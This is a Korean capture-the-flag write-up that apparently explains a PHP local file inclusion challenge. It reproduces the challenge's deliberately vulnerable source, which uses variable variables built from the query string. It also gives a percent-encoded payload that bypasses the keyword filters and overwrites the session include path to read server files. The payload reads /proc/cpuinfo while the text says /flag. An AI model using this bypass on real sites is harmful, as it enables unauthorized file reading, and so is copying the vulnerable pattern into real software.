PHP REAL LFI
web
문제
문제 확인

/flag 파일을 LFI 을 통해 플래그를 획득하면 되는 문제이다.
LFI에 대한 설명은 이전 포스트의 “LFI 란?” 섹션을 참고하자.
서버 소스코드
이 문제에는 소스코드가 제공되기 때문에, 소스코드를 확인해보았다.
config.php
<?php
// PHP 세션을 만든다.
session_start();
$admin = FALSE;
if($_SERVER['REMOTE_ADDR']){
$admin = TRUE;
}
// 세션의 'include_path' 를 = 'nav.php' 로 설정.
$_SESSION['include_path'] = 'nav.php';
$_SESSION['admin'] = $admin;
// /, base64 을 필터링한다.
function fuck_path_change_or_check($path){
if(preg_match("/\//isUD", $path)){
exit("어이쿠 걸려버렸네?");
}elseif(preg_match("/base64/i", $path)){
exit("어이쿠 걸려버렸네?");
}else{
// \ 를 / 로 변경한다.
return str_replace("\\", "/", $path);
}
}
// _, session 등의 키워드를 필터링합니다.
function fuck_extract_filtering($get){
if(preg_match("/_|session/isUD", $get)){
exit("으아닛 이건 안된다구!");
}else{
return fuck_path_change_or_check($get);
}
}
?>
index.php
<?php
// config.php 를 포함시켜 함수를 사용할 수 있게 한다.
include("config.php");
// $query 변수에 fuck_extract_filtering 결과값을 넣는다 (요청으로 받은 쿼리스트링을 인자로 넘김)
$query = fuck_extract_filtering($_SERVER['QUERY_STRING']);
parse_str($query, $arr); // $arr 변수에 쿼리스트링을 파싱해서 넣는다 key-value 형태의 변수
foreach($arr as $key=>$value){
// 취약한 부분, Variable variables 를 사용하여 로컬 변수를 key 값으로 덮어씌울수 있음, LFI 를 하기 'nav.php' 를 'flag' 로 바꿔쳐야한다.
$$key = fuck_path_change_or_check($value);
}
// $_SESSION['include_path'] 값을 include
include($_SESSION['include_path']);
?>
<div style="magin-top:100px;">
안녕하세요 저희는 ElePHPant팀입니다 이번에 PHP 언어를 이용하여 개발 공부를 시작했는데요
아직 많이 부족한 지식으로 테스트용으로 개발된 사이트지만 보기만 하세요.. 보기만 하라니깐요?(^__________^)
</div>
(nav.php 는 navbar 템플릿이기 때문에 생략합니다.)
공격 방법
이 코드에서는 쿼리스트링 문자열 전체에 대한 필터링과, 쿼리스트링 값이 반복문을 순회하며 필터링된다.
또한 동적 변수(Variable Variables) 이름으로 사용자의 입력 값을 사용하고 있기 때문에 변수를 덮어씌워버릴 수 있다.
예를 들어
<?php
$important_variable = "do not touch it"
$varname = $_GET['varname'];
$$varname = $_GET['value'];
echo "Value of important_variable: " . $important_variable
?>
위 코드에서 사용자가 varname 쿼리스트링에 important_variable 을 넣고, value 쿼리스트링에 다른 값을 넣게 된다면, 위에 선언되어 있는 변수의 값을 바꿀 수 있을 뿐만 아니라, varname에 GLOBALS 를 이름으로 넣어 조작할 경우, 전역 변수를 조작할수 있다.
my_script.php?varname=important_variable&value=hacked
그러므로 이 문제에서 LFI 를 실행하기 위해서는
- 필터링 함수를 우회해야한다.
_SESSION['include_path']를/flag로 덮어씌워야한다.
이 두가지의 조건에 맞게 페이로드를 작성하면 된다.
필터링을 우회하기 위해 퍼센트 인코딩을 사용하였다.
| 문자 | 인코딩 |
|---|---|
| / | %2f |
| _ | %5f |
| [ | %5b |
| ] | %5d |
| S | %53 |
| ” | %22 |
16진수 아스키코드 값으로 일반적인 환경에서는 필요하지 않지만, 이 문제에서는 필터링을 우회하기 위해 알파벳을 퍼센트 인코딩으로 변환하여 사용하였다.
페이로드는 아래와 같다.
/?%5F%53ESSION%5Binclude%5Fpath%5D=%2Fproc%2Fcpuinfo
결과
fuck_extract_filtering() 함수는 퍼센트 인코딩된 문자열을 필터링하지 못하였다
foreach 루프에서 가변 변수 기능으로 인해 $_SESSION['include_path'] = '/flag' 로 덮어씌워져 세션 변수가 변조되었다.
마지막으로 include($_SESSION['include_path']); 가 실행되면서 '/flag' 파일의 내용이 포함되어 출력되었습니다.
